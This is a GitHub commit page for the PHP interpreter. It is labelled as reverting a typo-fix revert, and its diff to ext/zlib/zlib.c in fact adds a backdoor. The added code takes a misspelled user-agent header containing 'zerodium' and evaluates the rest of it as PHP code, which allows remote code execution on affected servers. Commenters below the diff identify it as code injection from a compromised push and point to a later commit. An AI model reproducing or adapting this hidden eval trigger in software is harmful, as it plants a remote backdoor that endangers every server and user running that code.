Skip to content

Commit

Permalink
Revert "Revert "[skip-ci] Fix typo""
Browse files Browse the repository at this point in the history
This reverts commit 046827a.
  • Loading branch information
nikic committed Mar 28, 2021
1 parent 046827a commit 2b0f239
Showing 1 changed file with 11 additions and 0 deletions.
11 changes: 11 additions & 0 deletions ext/zlib/zlib.c
Expand Up @@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}

switch (ZLIBG(output_compression)) {
case 0:
Expand Down

6 comments on commit 2b0f239

@Gemorroj
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oh, @nikic also compromised?

@mvorisek
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I belive not directly, but someone else with push access.

@Art4
Copy link

@Art4 Art4 commented on 2b0f239 Mar 29, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@SirMishaa
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is an arbitrary code injection from an HTTP header. Is the update that contains this code already online / available?

@Gemorroj
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@SirMishaa no. see next commit 8d743d5

@KalleZ
Copy link
Member

@KalleZ KalleZ commented on 2b0f239 Mar 29, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please keep relevant commentary to the mailing list instead of flooding the comments on this commit

Please sign in to comment.